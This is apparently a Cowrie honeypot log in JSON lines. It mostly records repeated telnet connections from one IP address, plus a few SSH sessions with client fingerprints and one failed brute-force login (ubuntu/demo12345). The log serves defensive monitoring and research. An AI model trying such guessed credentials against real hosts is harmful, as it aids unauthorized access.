{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":49016,"dst_ip":"159.203.135.109","dst_port":23,"session":"4ecd79178832","protocol":"telnet","message":"New connection: 51.161.172.108:49016 (159.203.135.109:23) [session: 4ecd79178832]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:03.716063Z"}
{"eventid":"cowrie.session.closed","duration":31.20280647277832,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:03.827145Z","src_ip":"51.161.172.108","session":"8cbd045200ac","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":49018,"dst_ip":"159.203.135.109","dst_port":23,"session":"d1cc9bb4041d","protocol":"telnet","message":"New connection: 51.161.172.108:49018 (159.203.135.109:23) [session: d1cc9bb4041d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:03.904971Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":49020,"dst_ip":"159.203.135.109","dst_port":23,"session":"7ca1500a98cd","protocol":"telnet","message":"New connection: 51.161.172.108:49020 (159.203.135.109:23) [session: 7ca1500a98cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:04.100237Z"}
{"eventid":"cowrie.session.closed","duration":31.890911102294922,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:04.120853Z","src_ip":"51.161.172.108","session":"47b532ca2849","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.09960913658142,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:04.145685Z","src_ip":"51.161.172.108","session":"c0cacf1b8aa6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":49028,"dst_ip":"159.203.135.109","dst_port":23,"session":"dd361fce43de","protocol":"telnet","message":"New connection: 51.161.172.108:49028 (159.203.135.109:23) [session: dd361fce43de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:04.333686Z"}
{"eventid":"cowrie.session.closed","duration":31.045449256896973,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:04.396567Z","src_ip":"51.161.172.108","session":"71e408b7707d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.858975648880005,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:04.406981Z","src_ip":"51.161.172.108","session":"fd0f534dfc40","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":49050,"dst_ip":"159.203.135.109","dst_port":23,"session":"b04bad309a63","protocol":"telnet","message":"New connection: 51.161.172.108:49050 (159.203.135.109:23) [session: b04bad309a63]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:04.496189Z"}
{"eventid":"cowrie.session.closed","duration":31.58083486557007,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:04.558866Z","src_ip":"51.161.172.108","session":"88363131dc7e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.02362275123596,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:04.716475Z","src_ip":"51.161.172.108","session":"3dee70d109f3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.64015007019043,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:04.744991Z","src_ip":"51.161.172.108","session":"35902d305237","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":49066,"dst_ip":"159.203.135.109","dst_port":23,"session":"6c4da209ee29","protocol":"telnet","message":"New connection: 51.161.172.108:49066 (159.203.135.109:23) [session: 6c4da209ee29]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:04.866447Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":49068,"dst_ip":"159.203.135.109","dst_port":23,"session":"1bcb55f04d1f","protocol":"telnet","message":"New connection: 51.161.172.108:49068 (159.203.135.109:23) [session: 1bcb55f04d1f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:04.874130Z"}
{"eventid":"cowrie.session.closed","duration":31.15910267829895,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:04.900408Z","src_ip":"51.161.172.108","session":"1021b29e20c4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":49076,"dst_ip":"159.203.135.109","dst_port":23,"session":"854d97fa5fe4","protocol":"telnet","message":"New connection: 51.161.172.108:49076 (159.203.135.109:23) [session: 854d97fa5fe4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:05.150770Z"}
{"eventid":"cowrie.session.closed","duration":31.094799280166626,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:05.221003Z","src_ip":"51.161.172.108","session":"ca8ba0b70266","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.75139808654785,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:05.429950Z","src_ip":"51.161.172.108","session":"071bdcd8e7de","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.257073640823364,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:05.561142Z","src_ip":"51.161.172.108","session":"185ab5ea372d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.539957284927368,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:05.582389Z","src_ip":"51.161.172.108","session":"77b5d68884df","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.781731128692627,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:05.604089Z","src_ip":"51.161.172.108","session":"6f42cb953a56","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":49088,"dst_ip":"159.203.135.109","dst_port":23,"session":"292e65961ab0","protocol":"telnet","message":"New connection: 51.161.172.108:49088 (159.203.135.109:23) [session: 292e65961ab0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:05.676466Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":49096,"dst_ip":"159.203.135.109","dst_port":23,"session":"79dab91b5816","protocol":"telnet","message":"New connection: 51.161.172.108:49096 (159.203.135.109:23) [session: 79dab91b5816]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:05.740769Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":49102,"dst_ip":"159.203.135.109","dst_port":23,"session":"d7d7107e29ca","protocol":"telnet","message":"New connection: 51.161.172.108:49102 (159.203.135.109:23) [session: d7d7107e29ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:05.756930Z"}
{"eventid":"cowrie.session.closed","duration":31.235599756240845,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:05.817454Z","src_ip":"51.161.172.108","session":"da2347ca5f66","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":49122,"dst_ip":"159.203.135.109","dst_port":23,"session":"d2242c963d5b","protocol":"telnet","message":"New connection: 51.161.172.108:49122 (159.203.135.109:23) [session: d2242c963d5b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:06.027048Z"}
{"eventid":"cowrie.session.closed","duration":30.596325159072876,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:06.177838Z","src_ip":"51.161.172.108","session":"5120aa05dd73","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.181925296783447,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:06.213222Z","src_ip":"51.161.172.108","session":"5f6539c57219","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.60141396522522,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:06.219692Z","src_ip":"51.161.172.108","session":"12b731b81fc0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"119.167.206.194","src_port":46412,"dst_ip":"10.17.0.5","dst_port":22,"session":"25e14818bb76","protocol":"ssh","message":"New connection: 119.167.206.194:46412 (10.17.0.5:22) [session: 25e14818bb76]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:06.346968Z"}
{"eventid":"cowrie.session.closed","duration":30.693530321121216,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:06.353594Z","src_ip":"51.161.172.108","session":"cf17ef4e73d3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.074405193328857,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:06.392483Z","src_ip":"51.161.172.108","session":"8835f7b75404","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":49134,"dst_ip":"159.203.135.109","dst_port":23,"session":"9d4089abe4c4","protocol":"telnet","message":"New connection: 51.161.172.108:49134 (159.203.135.109:23) [session: 9d4089abe4c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:06.396961Z"}
{"eventid":"cowrie.session.closed","duration":30.920838356018066,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:06.454558Z","src_ip":"51.161.172.108","session":"2335eb78bb89","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":49148,"dst_ip":"159.203.135.109","dst_port":23,"session":"98129b5e5e4e","protocol":"telnet","message":"New connection: 51.161.172.108:49148 (159.203.135.109:23) [session: 98129b5e5e4e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:06.471135Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:06.518161Z","src_ip":"119.167.206.194","session":"25e14818bb76","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":49150,"dst_ip":"159.203.135.109","dst_port":23,"session":"902903b82150","protocol":"telnet","message":"New connection: 51.161.172.108:49150 (159.203.135.109:23) [session: 902903b82150]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:06.612357Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":49166,"dst_ip":"159.203.135.109","dst_port":23,"session":"60e1c93eb809","protocol":"telnet","message":"New connection: 51.161.172.108:49166 (159.203.135.109:23) [session: 60e1c93eb809]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:06.726594Z"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:06.798225Z","src_ip":"119.167.206.194","session":"25e14818bb76","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":49194,"dst_ip":"159.203.135.109","dst_port":23,"session":"a7285fede740","protocol":"telnet","message":"New connection: 51.161.172.108:49194 (159.203.135.109:23) [session: a7285fede740]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:07.261558Z"}
{"eventid":"cowrie.session.closed","duration":30.97857141494751,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:07.357358Z","src_ip":"51.161.172.108","session":"32f1ca49a938","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.7676944732666,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:07.520844Z","src_ip":"51.161.172.108","session":"870bef492365","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.264514923095703,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:07.767978Z","src_ip":"51.161.172.108","session":"698217ab4989","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":49206,"dst_ip":"159.203.135.109","dst_port":23,"session":"dd8ac2e0391f","protocol":"telnet","message":"New connection: 51.161.172.108:49206 (159.203.135.109:23) [session: dd8ac2e0391f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:07.782552Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":49212,"dst_ip":"159.203.135.109","dst_port":23,"session":"f890dfb69081","protocol":"telnet","message":"New connection: 51.161.172.108:49212 (159.203.135.109:23) [session: f890dfb69081]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:07.846604Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.69.118.1","src_port":53692,"dst_ip":"159.203.135.109","dst_port":23,"session":"14b872256172","protocol":"telnet","message":"New connection: 34.69.118.1:53692 (159.203.135.109:23) [session: 14b872256172]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:07.939218Z"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"demo12345","message":"login attempt [ubuntu/demo12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:07.966974Z","src_ip":"119.167.206.194","session":"25e14818bb76","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.73320460319519,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:08.077810Z","src_ip":"51.161.172.108","session":"5d0e7ec1da65","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":49232,"dst_ip":"159.203.135.109","dst_port":23,"session":"778b13dc5c60","protocol":"telnet","message":"New connection: 51.161.172.108:49232 (159.203.135.109:23) [session: 778b13dc5c60]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:08.172909Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":49220,"dst_ip":"159.203.135.109","dst_port":23,"session":"a07b60f66476","protocol":"telnet","message":"New connection: 51.161.172.108:49220 (159.203.135.109:23) [session: a07b60f66476]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:08.183353Z"}
{"eventid":"cowrie.session.closed","duration":31.091729640960693,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:08.488439Z","src_ip":"51.161.172.108","session":"37b24d07fe00","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.946157217025757,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:08.508711Z","src_ip":"51.161.172.108","session":"e4ca11c7173d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":49242,"dst_ip":"159.203.135.109","dst_port":23,"session":"4b6ddd4eb194","protocol":"telnet","message":"New connection: 51.161.172.108:49242 (159.203.135.109:23) [session: 4b6ddd4eb194]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:08.622753Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":49250,"dst_ip":"159.203.135.109","dst_port":23,"session":"c95a8cacfd89","protocol":"telnet","message":"New connection: 51.161.172.108:49250 (159.203.135.109:23) [session: c95a8cacfd89]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:08.708304Z"}
{"eventid":"cowrie.session.closed","duration":31.553099870681763,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:08.785104Z","src_ip":"51.161.172.108","session":"d7db7157e36a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"122.168.114.167","src_port":56914,"dst_ip":"159.203.135.109","dst_port":22,"session":"117bf81a0db6","protocol":"ssh","message":"New connection: 122.168.114.167:56914 (159.203.135.109:22) [session: 117bf81a0db6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:09.088599Z"}
{"eventid":"cowrie.session.closed","duration":34.22793626785278,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:09.094265Z","src_ip":"167.99.38.72","session":"460dc2630517","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.736002683639526,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:09.136122Z","src_ip":"51.161.172.108","session":"8e865a1c8df9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":49266,"dst_ip":"159.203.135.109","dst_port":23,"session":"2f0a7742ee8d","protocol":"telnet","message":"New connection: 51.161.172.108:49266 (159.203.135.109:23) [session: 2f0a7742ee8d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:09.166142Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":42320,"dst_ip":"159.203.135.109","dst_port":23,"session":"f37d9c8c58ea","protocol":"telnet","message":"New connection: 51.161.172.108:42320 (159.203.135.109:23) [session: f37d9c8c58ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:09.176471Z"}
{"eventid":"cowrie.session.closed","duration":"2.9","message":"Connection lost after 2.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:09.268578Z","src_ip":"119.167.206.194","session":"25e14818bb76","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.034485816955566,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:09.312873Z","src_ip":"51.161.172.108","session":"ae30d388e754","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":42322,"dst_ip":"159.203.135.109","dst_port":23,"session":"5e6dc4bc5ff7","protocol":"telnet","message":"New connection: 51.161.172.108:42322 (159.203.135.109:23) [session: 5e6dc4bc5ff7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:09.485761Z"}
{"eventid":"cowrie.session.closed","duration":31.018320083618164,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:09.587085Z","src_ip":"51.161.172.108","session":"cdd89374e42d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.021662950515747,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:09.676734Z","src_ip":"51.161.172.108","session":"51ff6f4fa87e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":42338,"dst_ip":"159.203.135.109","dst_port":23,"session":"ac9dd1711518","protocol":"telnet","message":"New connection: 51.161.172.108:42338 (159.203.135.109:23) [session: ac9dd1711518]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:09.847985Z"}
{"eventid":"cowrie.session.closed","duration":31.792832851409912,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:09.901962Z","src_ip":"51.161.172.108","session":"1bf43b853bd5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.781616926193237,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:09.907079Z","src_ip":"51.161.172.108","session":"7698f87ff7d6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":42354,"dst_ip":"159.203.135.109","dst_port":23,"session":"78d6cae47e19","protocol":"telnet","message":"New connection: 51.161.172.108:42354 (159.203.135.109:23) [session: 78d6cae47e19]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:09.940466Z"}
{"eventid":"cowrie.session.closed","duration":31.927382469177246,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:09.999706Z","src_ip":"51.161.172.108","session":"25935bd7b63a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":42362,"dst_ip":"159.203.135.109","dst_port":23,"session":"bbc0ea0f10ab","protocol":"telnet","message":"New connection: 51.161.172.108:42362 (159.203.135.109:23) [session: bbc0ea0f10ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:10.040204Z"}
{"eventid":"cowrie.session.closed","duration":30.744709730148315,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:10.362436Z","src_ip":"51.161.172.108","session":"7faefc4ccbd7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":42376,"dst_ip":"159.203.135.109","dst_port":23,"session":"4cac52e04b81","protocol":"telnet","message":"New connection: 51.161.172.108:42376 (159.203.135.109:23) [session: 4cac52e04b81]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:10.432801Z"}
{"eventid":"cowrie.session.closed","duration":"41.2","message":"Connection lost after 41.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:10.533126Z","src_ip":"122.168.114.167","session":"3519a9e58fd7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":42392,"dst_ip":"159.203.135.109","dst_port":23,"session":"b3cd2f09e12e","protocol":"telnet","message":"New connection: 51.161.172.108:42392 (159.203.135.109:23) [session: b3cd2f09e12e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:10.544796Z"}
{"eventid":"cowrie.session.closed","duration":31.639240026474,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:10.774292Z","src_ip":"51.161.172.108","session":"1c85a26c7dc1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":42394,"dst_ip":"159.203.135.109","dst_port":23,"session":"63f85946bf7e","protocol":"telnet","message":"New connection: 51.161.172.108:42394 (159.203.135.109:23) [session: 63f85946bf7e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:10.791609Z"}
